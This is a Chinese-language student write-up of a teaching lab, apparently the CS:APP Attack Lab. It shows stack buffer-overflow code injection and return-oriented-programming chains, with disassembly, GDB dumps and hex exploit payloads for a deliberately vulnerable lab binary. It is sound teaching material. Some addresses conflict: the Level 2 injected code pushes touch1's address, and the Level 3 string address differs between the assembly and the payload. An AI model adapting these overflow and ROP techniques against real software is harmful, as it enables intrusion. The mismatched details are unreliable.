Part I: Code Injection Attacks
Level 1
第一个还是比较简单的,查一下文档,ctarget 的 test
函数是这样的
1 2 3 4 5 6
| void test () { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); }
|
而得分的目标就是用缓冲区溢出去调用 touch1
1 2 3 4 5 6 7
| void touch1() { vlevel = 1; printf("Touch1!: You called touch1()\n"); validate(1); exit(0); }
|
而把 getbuf
反汇编出来之后是这样的
1 2 3 4 5 6 7 8 9
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
|
发现 getbuf
这个函数每次总是将栈顶指针(%rsp)移动 0x28(40) 位,所以我们的输入只要是超过 40 位的部分就会出现缓冲区溢出
我们的目的是去执行 touch1
这个函数,先找到函数所在的地址
1 2 3
| 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp ...
|
所以我们只需要随便输入 40 位,然后在 40 位的最后添加上 touch1
的地址 4017c0 就可以了
1 2 3 4 5
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00
|
(注意 Little Endian 的顺序)
Level 2
Level 2 就有点麻烦了
1 2 3 4 5 6 7 8 9 10 11 12 13
| void touch2(unsigned val) { vlevel = 2; if (val == cookie) { printf("Touch2!"): validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } }
|
可以看出除了需要调用 touch2
函数之外,传入的参数还需要与 cookie 相同,这里我下载的 self-study 中的 cookie 是
并且再去看一下反汇编的结果,touch2
的起始地址是在 0x4017ec
除了需要把参数传到 rdi 中,还需要讲 touch2
的地址压入栈中,所需要的汇编部分是这样的
1 2 3
| mov $0x59b997fa,%rdi pushq $0x4017ec retq
|
用 gcc -c
生成并且 objdump -d
反汇编出来
1 2 3 4
| 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 c0 17 40 00 pushq $0x4017c0 c: c3 retq
|
但是我们怎么去执行这些语句呢,答案是这些语句将会随着我们的输入一并压入栈中,讲溢出的缓冲区部分设置为这些语句的地址,这样 getbuf
return 后就会去执行我们的代码
要得到这些语句的地址,需要用 GDB 调试,先把断点设置在 Gets
的下一行 b *0x4017b4
,然后运行程序,到断点时打印寄存器的值 info registers
这里我的 rsp 的值是 0x5561dc78 (在不同的电脑上可能不同),所以我们只要在缓冲区溢出的部分添加上 rsp 的值就可以跳转到我们的语句
1 2 3 4 5 6 7
| 48 c7 c7 fa 97 b9 59 // mov $0x59b997fa,%rdi 68 c0 17 40 00 // pushq $0x4017c0 c3 // retq 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 // rsp
|
Level 3
Level 3 和 2 类似,不过这一次需要传入一个字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int hexmatch(unsigned val, char *sval) { char cbuf[110]; char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
void touch3(char *sval) { vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
|
先把 cookie 转换成字符串是这样的 35 39 62 39 39 37 66 61 00
,注意要在最后加上 00
表示字符串的结束
观察调用 hexmatch
前后的栈的情况
1 2 3 4 5 6
| (gdb) x /20wx 0x5561dc78 0x5561dc78: 0x00000000 0x00000000 0x00000000 0x00000000 0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000 0x5561dc98: 0x00000000 0x00000000 0x55586000 0x00000000 0x5561dca8: 0x00000009 0x00000000 0x00401f24 0x00000000 0x5561dcb8: 0x00000000 0x00000000 0xf4f4f4f4 0xf4f4f4f4
|
1 2 3 4 5 6
| (gdb) x /20wx 0x5561dc78 0x5561dc78: 0x0f820d00 0xc5d11383 0x00606010 0x00000000 0x5561dc88: 0x55685fe8 0x00000000 0x00000004 0x00000000 0x5561dc98: 0x00401916 0x00000000 0x555860000 0x00000000 0x5561dca8: 0x00000009 0x00000000 0x00401f24 0x00000000 0x5561dcb8: 0x00000000 0x00000000 0xf4f4f4f4 0xf4f4f4f4
|
0x5561dca8 之后的地址在调用前后是没有改变的,所以我们将字符串放在那里就可以
0x5561dc780x5561dc9f 是输入的 40 个字符,所以我们把字符串放到 0x5561dca80x5561dcae 的位置(注意//处)
按照 Level 2 类似的方法
1 2 3
| mov $0x5561dcc8,%rdi push $0x4018fa # touch3 ret
|
然后输入就应该是这样的
1 2 3 4 5 6 7 8 9
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // 使缓冲区溢出 78 dc 61 55 00 00 00 00 // 指向新加入的语句(第一行)
35 39 62 39 39 37 66 61 00 // cookie Addr:0x5561dca8
|
Part II: Return-Oriented Programming
之前的方法我们是在 Stack 中插入可以执行的代码,但是现代操作系统采用了一些手段来避免这样的事情
- 栈的位置是随机的,无法确定跳转的位置
- 栈多了一个是否可以执行的属性,没发在栈中添加指令
所以就需要新的方法了,Return-Oriented Programming(ROP) 正是利用了程序中已经存在的指令
Level 2
ROP 的 Level 2 和之前的是一样的,需要我们将 cookie 作为参数调用 touch2
问题的关键在于如何搞到 cookie ,找一下 farm 中的函数,我们可以使用的是 popq
popq %rax
mov %rax,%rdi
- 呼叫
touch2
函数
查表可知 popq %rax
对应的 16 进制是 58
,而且要在后边出现 c3
不过在反汇编的文件中并没有找到这两个指令连在一起的地方,这里需要的一个知识 NOP 指令,这个指令在 x86-64 中是 0x90
,作用就是没有作用…
1 2 3
| 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
|
在反汇编中找到了 popq %rax
的指令地址是 0x4019ab
同理, mov %rax,%rdi
的地址是 0x4019a2
, touch2
的地址是 0x4017ec
所以我们的 Stack 应该是这样的
1 2 3 4 5 6 7 8 9
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // 使缓冲区溢出 ab 19 40 00 00 00 00 00 // popq %rax fa 97 b9 59 00 00 00 00 // cookie a2 19 40 00 00 00 00 00 // mov %rax,%rdi ec 17 40 00 00 00 00 00 // touch2
|
Level 3
这个需要传入字符串,需要 YY ,因为需要在已有的指令中寻找,所以说需要在寄存器中不断的操作,大概的思路如下
1 2 3 4 5 6 7 8 9 10 11
| 栈顶 movq %rsp,%rax movq %rax,%rdi popq %rax 这里是一个offset movl %rax,%rdx movl %rdx,%rcx movl %rcx,%rsi lea (%rdi,%rsi,1),%rax movq %rax,%rdi 字符串
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // 溢出 06 1a 40 00 00 00 00 00 // movq %rsp,%rax a2 19 40 00 00 00 00 00 // movq %rax,%rdi ab 19 40 00 00 00 00 00 // popq %rax 48 00 00 00 00 00 00 00 // 0x48 = 72 共有 9 条指令,每条 8 个 Byte dd 19 40 00 00 00 00 00 // movl %rax,%rdx 69 1a 40 00 00 00 00 00 // movl %rdx,%rcx 13 1a 40 00 00 00 00 00 // movl %rcx,%rsi d6 19 40 00 00 00 00 00 // lea (%rdi,%rsi,1),%rax c5 19 40 00 00 00 00 00 // movq %rax,%rdi fa 18 40 00 00 00 00 00 // touch3 35 39 62 39 39 37 66 61 00 // cookie
|
终于搞定,计算机器语言的偏移量真不容易,还是高级语言舒服啊…